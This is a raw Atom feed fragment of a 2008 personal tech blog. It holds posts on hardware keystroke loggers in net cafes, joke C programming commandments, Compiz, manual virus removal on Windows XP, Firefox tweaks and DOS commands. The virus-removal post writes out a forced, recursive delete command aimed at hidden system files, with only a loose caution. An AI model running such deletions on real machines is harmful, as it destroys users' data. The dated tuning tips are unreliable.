href='http://www.blogger.com/feeds/37842813/posts/default/1569024703238303674'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/07/rm-rf.html' title='rm -rf'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2748832720301204390</id><published>2008-07-27T20:18:00.001+05:30</published><updated>2008-07-27T20:18:07.446+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Keystroke recorders</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;font face='Verdana'&gt;&lt;span style='font-family: Verdana;'&gt;These key stroke records has been around the market since 4 or 5 years. Seems like Indian browsing centers have just started using them to tap their client's messages (or whatever).&lt;br/&gt;&lt;br/&gt;&lt;img src='http://lh5.ggpht.com/visionofarun/SIyJmUpD4GI/AAAAAAAAERg/a0N-kDvkIjE/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;img src='http://lh6.ggpht.com/visionofarun/SIyJ0idPReI/AAAAAAAAERk/2jlWi58cZUw/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;br/&gt;&lt;br/&gt;This could be used in net cafes, exhibitions, hotels and airports. So be careful especially when you use the net cafes to manage your bank details their bank accounts online or any other important sites.&lt;br/&gt;&lt;br/&gt;&lt;br /&gt;After you enter the bank account and leave the PC it will be easy to&lt;br /&gt;open your account again as all what you have typed has been saved in&lt;br /&gt;the Black device.&lt;br/&gt;&lt;br/&gt;Check for this in any netcafe you go, and you can definitely sue them. ;-)&lt;br/&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2748832720301204390?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2748832720301204390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2748832720301204390&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2748832720301204390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2748832720301204390'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/07/keystroke-recorders.html' title='Keystroke recorders'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/visionofarun/SIyJmUpD4GI/AAAAAAAAERg/a0N-kDvkIjE/s72-c/%5BUNSET%5D.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5961523493701259842</id><published>2008-07-27T17:00:00.001+05:30</published><updated>2008-07-27T17:00:37.711+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><title type='text'>The Ten Commandments for C Programmers</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;ol&gt;&lt;li&gt;Thou shalt run lint frequently and study its pronouncements with care, for verily its perception and judgement oft exceed thine.&lt;/li&gt;&lt;li&gt;Thou shalt not follow the NULL pointer, for chaos and madness await thee at its end.&lt;/li&gt;&lt;li&gt;Thou shalt cast all function arguments to the expected type if they are not of that type already, even when thou art convinced that this is unnecessary, lest they take cruel vengeance upon thee when thou least expect it.&lt;/li&gt;&lt;li&gt;If thy header files fail to declare the return types of thy library functions, thou shalt declare them thyself with the most meticulous care, lest grievous harm befall thy program.&lt;/li&gt;&lt;li&gt;Thou shalt check the array bounds of all strings (indeed, all arrays), for surely where thou typest ``foo'' someone someday shall type ``supercalifragilisticexpialidocious''.&lt;/li&gt;&lt;li&gt;If a function be advertised to return an error code in the event of difficulties, thou shalt check for that code, yea, even though the checks triple the size of thy code and produce aches in thy typing fingers, for if thou thinkest ``it cannot happen to me'', the gods shall surely punish thee for thy arrogance.&lt;/li&gt;&lt;li&gt;Thou shalt study thy libraries and strive not to re-invent them without cause, that thy code may be short and readable and thy days pleasant and productive.&lt;/li&gt;&lt;li&gt;Thou shalt make thy program's purpose and structure clear to thy fellow man by using the One True Brace Style, even if thou likest it not, for thy creativity is better used in solving problems than in creating beautiful new impediments to understanding.&lt;/li&gt;&lt;li&gt;Thy external identifiers shall be unique in the first six characters, though this harsh discipline be irksome and the years of its necessity stretch before thee seemingly without end, lest thou tear thy hair out and go mad on that fateful day when thou desirest to make thy program run on an old system.&lt;/li&gt;&lt;li&gt;Thou shalt foreswear, renounce, and abjure the vile heresy which claimeth that ``All the world's a VAX'', and have no commerce with the benighted heathens who cling to this barbarous belief, that the days of thy program may be long even though the days of thy current machine be short.&lt;/li&gt;&lt;/ol&gt;&lt;a href='http://www.chris-lott.org/resources/cstyle/indhill-cstyle.html' target='_blank'&gt;[via]&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5961523493701259842?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5961523493701259842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5961523493701259842&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5961523493701259842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5961523493701259842'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/07/ten-commandments-for-c-programmers.html' title='The Ten Commandments for C Programmers'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-4551960522402733565</id><published>2008-07-11T22:33:00.000+05:30</published><updated>2008-07-11T22:34:53.510+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Story behind the Tux</title><content type='html'>&lt;div class="separator" style="text-align: center; clear: both;"&gt;&lt;a href="http://kernel.org/pub/linux/kernel/people/gregkh/images/penguin_sign.jpg" imageanchor="1" linkindex="5" style="border: 0pt none ; background-color: transparent; margin-left: 1em; margin-right: 1em;"&gt;&lt;img height="420" src="http://kernel.org/pub/linux/kernel/people/gregkh/images/penguin_sign.jpg" style="border: 0pt none ;" width="283" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-4551960522402733565?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/4551960522402733565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=4551960522402733565&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4551960522402733565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4551960522402733565'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/07/story-behind-tux.html' title='Story behind the Tux'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2858213437872281318</id><published>2008-07-05T00:56:00.000+05:30</published><updated>2008-07-05T01:08:18.966+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Transparent Desktop Cube - Compiz Fusion</title><content type='html'>Sometime back I made &lt;a href="http://pthreads.blogspot.com/2008/01/akkas-desktop-with-avant-window.html" linkindex="156"&gt;this post&lt;/a&gt; to show how my sister's desktop looks with Compiz Fusion on Ubuntu - Gutsy Gibbon.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="text-align: center; clear: both;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="text-align: center; clear: both;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="text-align: center; clear: both;"&gt;&lt;a href="http://1.bp.blogspot.com/_nYiDaTJPOrs/SG57u5nR69I/AAAAAAAAENk/ks3gBHm8E0E/s1600-h/Screenshot.png" imageanchor="1" linkindex="157" style="border: 0pt none ; background-color: transparent; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_nYiDaTJPOrs/SG57u5nR69I/AAAAAAAAENk/2kA7hZdFHB0/s400-R/Screenshot.png" style="border: 0pt none ;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="text-align: center; clear: both;"&gt;&lt;a href="http://1.bp.blogspot.com/_nYiDaTJPOrs/SG578s7a3-I/AAAAAAAAENs/OcetjyEQCdo/s1600-h/Screenshot-1.png" imageanchor="1" linkindex="158" style="border: 0pt none ; background-color: transparent; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_nYiDaTJPOrs/SG578s7a3-I/AAAAAAAAENs/n-Z8sb1S2Mg/s400-R/Screenshot-1.png" style="border: 0pt none ;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And, now this is how my desktop looks with transparent cube. Unlike Gutsy Gibbon, Hardy Heron is more aesthetic in use. Also, the video drivers doesn't hook up the CPU. I believe that this is the best version of Linux I have used so far (from Desktop perspective).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2858213437872281318?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2858213437872281318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2858213437872281318&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2858213437872281318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2858213437872281318'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/07/transparent-desktop-cube-compiz-fusion.html' title='Transparent Desktop Cube - Compiz Fusion'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_nYiDaTJPOrs/SG57u5nR69I/AAAAAAAAENk/2kA7hZdFHB0/s72-Rc/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2210666287396995304</id><published>2008-06-12T09:34:00.000+05:30</published><updated>2008-06-14T09:42:06.977+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Removing virus manually on XP</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Read this tutorial if u want to remove a virus not detected by antivirus software or if u want to be an amateur malware researcher. The tutorial may not be that good, i hadn't much time to go in more details.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Begin:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Start-&gt;Run-&gt;type cmd&lt;br /&gt;&lt;br /&gt;In each drive type attrib /s /d it will display the list of all files in that drive along with folders. concentrate on files having SHR attribute. Normally virus files have two characteristics&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;1.SHR attribute &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;2.Queer name like amvo.exe,r6r.exe,autorun.inf etc.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Note:&lt;/span&gt;&lt;/strong&gt; Some system files also have this attribute like MSDOS.SYS, IO.SYS etc. So before you delete googling about that file will help.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;To delete these files type c:\&gt;del /f /s /a &gt;&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;+ &lt;/span&gt;To view the content of files with .inf, .vbs, .c etc. i.e files which are not batch files or executables. go to explorer and then go to the required drive or folder and type the filename with extension. It will open up in notepad.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;+ &lt;/span&gt;There is another method. Go to the required location and type attrib -s -h -r filename then use gui to see that hidden file. if it is not an exe or .bat then just open it with notepad. Here you will get some information like a file name or a registry key which the virus affects or a startup item or process. Change this or uncheck the startup.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;+&lt;/span&gt; If the file is not deleted like it says "access denied" it means it already used by some process. open task manager and find a process of the same name or some process which is not a valid windows process(better google) and end that process.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;+&lt;/span&gt; If it's not found then open msconfig go to startup tab and look at it. If a startup items seems queer (u wil have this feeling if you're not experienced windows user otherwise all data startup items may seem queer.) uncheck that. You may also learn about the startup item by googling. after unchecking restart the computer.&lt;br /&gt;&lt;br /&gt;This method is effective in removing some spywares or some small but annoying very like maskrider etc. which are sometimes not detected by antivirus softwares.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2210666287396995304?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2210666287396995304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2210666287396995304&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2210666287396995304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2210666287396995304'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/06/removing-virus-manually-on-xp.html' title='Removing virus manually on XP'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2472084730576811669</id><published>2008-05-01T16:41:00.002+05:30</published><updated>2008-05-01T16:48:12.393+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Firefox tweaks</title><content type='html'>In the URL bar, type “&lt;span style="color: rgb(255, 102, 0);"&gt;about:config&lt;/span&gt;” and press enter. This will bring up the configuration “&lt;span style="color: rgb(255, 102, 0);"&gt;menu&lt;/span&gt;” where you can change the parameters of Firefox. These are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections. So if you are not on broadband, you may not be satisfied with this.&lt;br /&gt;&lt;br /&gt;OK now Double Click on the following settings and put in the numbers below - for the true / false Boolean - they’ll change when you double click.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;&lt;/strong&gt;browser.tabs.showSingleWindowModePrefs – true&lt;br /&gt;network.http.max-connections – 48&lt;br /&gt;network.http.max-connections-per-server – 16&lt;br /&gt;network.http.max-persistent-connections-per-proxy – 8&lt;br /&gt;network.http.max-persistent-connections-per-server – 4&lt;br /&gt;network.http.pipelining – true&lt;br /&gt;network.http.pipelining.maxrequests – 100&lt;br /&gt;network.http.proxy.pipelining – true&lt;br /&gt;network.http.request.timeout – 300&lt;br /&gt;&lt;br /&gt;One more thing… Right-click somewhere on that screen and add a &lt;span style="color: rgb(255, 102, 0);"&gt;NEW -&gt; Integer&lt;/span&gt;. Name it “&lt;span style="color: rgb(255, 102, 0);"&gt;nglayout.initialpaint.delay&lt;/span&gt;” and set its value to “&lt;span style="color: rgb(255, 102, 0);"&gt;0&lt;/span&gt;”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re on broadband - it shouldn’t have to wait.&lt;br /&gt;&lt;br /&gt;Now you will notice your FireFox MUCH faster than before.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2472084730576811669?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2472084730576811669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2472084730576811669&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2472084730576811669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2472084730576811669'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/05/firefox-tweaks.html' title='Firefox tweaks'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-468530082432365617</id><published>2008-03-20T09:54:00.002+05:30</published><updated>2008-03-20T09:58:06.637+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Keyboard shortcuts for DOS</title><content type='html'>We look at some useful keyboard shortcuts and commands that will help you personalize the MS-DOS Command Prompt Window without using the mouse.&lt;br /&gt;&lt;br /&gt;You will also learn about hotkeys for executing DOS commands more quickly. The keyboard shortcuts are known to work in Windows Vista and XP command prompt.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;1. Change the color scheme of the DOS Window&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;color bf - where b is the background color while f is for the foreground color (they are hex codes).&lt;br /&gt;&lt;br /&gt;For instance, if you want to have a white background with black text, type color F0 and press enter. To revert to the original color scheme, type color without any arguments.&lt;br /&gt;&lt;br /&gt;For a list of all available colors, type color /? on the command line.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;2. Change the Title of the Window to reflect the current time&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Do you know that you can put your name or your blog address in the title of the command prompt window. That’s like a neat watermark when you are using that screenshot for your website.&lt;br /&gt;&lt;br /&gt;title your_name  %time%&lt;br /&gt;&lt;br /&gt;That %time% will append the current timestamp to the Window’s title.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;3. Navigate the Command History using Keyboard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you have a long list of commands in the history, press the function key F7 to navigate through the history list using the arrow keys.&lt;br /&gt;&lt;br /&gt;And if you already know the command number, press F9 and directly type that number. Very useful if you have to run some command repeatedly.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;4. Typing Long Commands at the DOS Prompt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You know the frustration when you type some long command only to realize that you made a typo or omitted typing some character. Either type the whole command again or a better option is the F1 key.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;F1 prints characters of the previous command one by one. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Alternatively, you can press F2 to copy a certain number of characters from the previous command to the current one. Let me illustrate that with an example:&lt;br /&gt;&lt;br /&gt;Say I want to run the command “nslookup www.google.com” but wrote “nslookup www.googlx.com” in a hurry.&lt;br /&gt;&lt;br /&gt;Instead of retyping the whole thing, I can say F2 and then say x. This will print all the characters upto “x”. Then you can &lt;span style="color: rgb(255, 153, 0);"&gt;press F3 to complete the command &lt;/span&gt;or type it manually.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-468530082432365617?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/468530082432365617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=468530082432365617&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/468530082432365617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/468530082432365617'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/03/keyboard-shortcuts-for-dos.html' title='Keyboard shortcuts for DOS'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2137699780599759920</id><published>2008-03-20T09:38:00.003+05:30</published><updated>2008-03-20T09:53:22.426+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>DOS commands</title><content type='html'>Here is the list of commands that you can use with your DOS prompt.&lt;br /&gt;&lt;br /&gt;http://technet.microsoft.com/en-us/library/bb491071.aspx&lt;br /&gt;&lt;br /&gt;A short note on few of them:&lt;br /&gt;&lt;br /&gt;Typing DOS commands on the Windows Command Line prompt is a most efficient and faster way of doing things in Windows XP. Here's a run-down of the most useful DOS commands available in Windows XP. Some of these DOS commands even do not have an visual alternative.&lt;br /&gt;&lt;br /&gt;DOS Command-line tools must be run at the prompt of the Cmd.exe command interpreter. To open Command Prompt, click Start, click Run, type cmd, and then click OK.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;ipconfig - Windows IP configuration&lt;/span&gt;&lt;br /&gt;Useful for troubleshooting your internet connection. Displays the current IP address of your computer and the DNS server address. If you call your ISP for reporting a bad internet connection, he will probably ask you to run ipconfig.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;fc - Free BeyondCompare in XP&lt;/span&gt;&lt;br /&gt;FC is an advanced DOS Command that compares two files and displays the differences between them. Though the file comparison results are not as interactive as BeyondCompare or Altova DiffDog, fc is still very useful. You can even set fc to resynchronize the files after finding a mismatch.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;type - open text files sans Notepad&lt;/span&gt;&lt;br /&gt;Similar to Unix cat command, Type is my favorite DOS command for displaying the contents of a text files without modifying them. When used in combination with more switch, type splits the contents of lengthy text files into multiple pages. Avoid using the type command with binary files or you'll hear alien PC beeps and see some greek characters on your PC.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;ping - Say hello to another computer&lt;/span&gt;&lt;br /&gt;Ping network command followed by the web-address or IP address tells you about the health of the connection and whether the other party is responding to your handshake request. Ping tool can also be used to convert the web address to a physical IP address.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;tree - visual directory structure&lt;/span&gt;&lt;br /&gt;You often need to take prints of your physical directory structure but XP has no simple "visual" commands for printing directory contents. Here, try the Tree DOS command and redirect the output to a text file.&lt;br /&gt;&lt;br /&gt;tree &gt; mydirectory.txt&lt;br /&gt;print mydirectory.txt&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;attrib - make hidden files visible&lt;/span&gt;&lt;br /&gt;Attrib lets you change attributes of System files and even hidden files. This is great for troubleshooting Windows XP. Say your XP doesn't boot ever since you edited that startup boot.ini file (Hidden), use attrib to remove the Hidden attibute and edit the file using EDIT dos command.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;assoc - which program will open that .xyz file&lt;/span&gt;&lt;br /&gt;The assoc DOS command can be used to either isplay or even modify the file name extension associations. The command assoc .htm will quickly tell you the name of your default web browser (see picture)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;move - more flexible than copy-paste&lt;/span&gt;&lt;br /&gt;Say you got a lot of XLS and DOC files in you MyDocuments folder and want to move only those XLS files that have their name ending with 2006. In XP Explorer, you have to manually select each file and then cut-paste to another folder. However, the DOS move command make things much simpler. Just type the following at the command prompt:&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;move *2006.xls c:\2006Reports\&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;find - advanced file search with filter&lt;/span&gt;&lt;br /&gt;Find is the most powerful DOS command and even more useful than the Windows Desktop Search tool or the Windows Find Wizard. The find command searches for a specific string of text in a file or files. After searching the specified file or files, find displays any lines of text that contain the specified string.&lt;br /&gt;&lt;br /&gt;To search your hard disk to find and display the file names on drive C: that contain the string "Google" use the pipe (|) to direct the results of a dir command to find as follows:&lt;br /&gt;dir c:\ /s /b | find "Google"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Quick tip - Drag to avoid typing: &lt;/span&gt;When your command acts on a file or folder, you must type the path to that folder after the command. You can save typing time by dragging the file or folder from Windows Explorer into the command window.&lt;br /&gt;&lt;br /&gt;To view help at the command-line, at the command prompt, type the following:&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;CommandName /?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2137699780599759920?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2137699780599759920/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2137699780599759920&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2137699780599759920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2137699780599759920'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/03/dos-commands.html' title='DOS commands'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5205470639145953267</id><published>2008-03-16T10:18:00.002+05:30</published><updated>2008-03-16T10:29:50.919+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>TeamViewer</title><content type='html'>I downloaded &lt;a href="http://www.teamviewer.com/index.aspx"&gt;TeamViewer&lt;/a&gt; after googling on remote control softwares. I needed to help my mom from here on her difficulties in accessing certain applications and features. So this was the best solution I ever found. It is pretty simple and straight forward.&lt;br /&gt;&lt;br /&gt;When you install it, it will ask you for a password. Give some password and remember it. At home, ask your mom to install it and to remember the password that she enters there.&lt;br /&gt;Assume:&lt;br 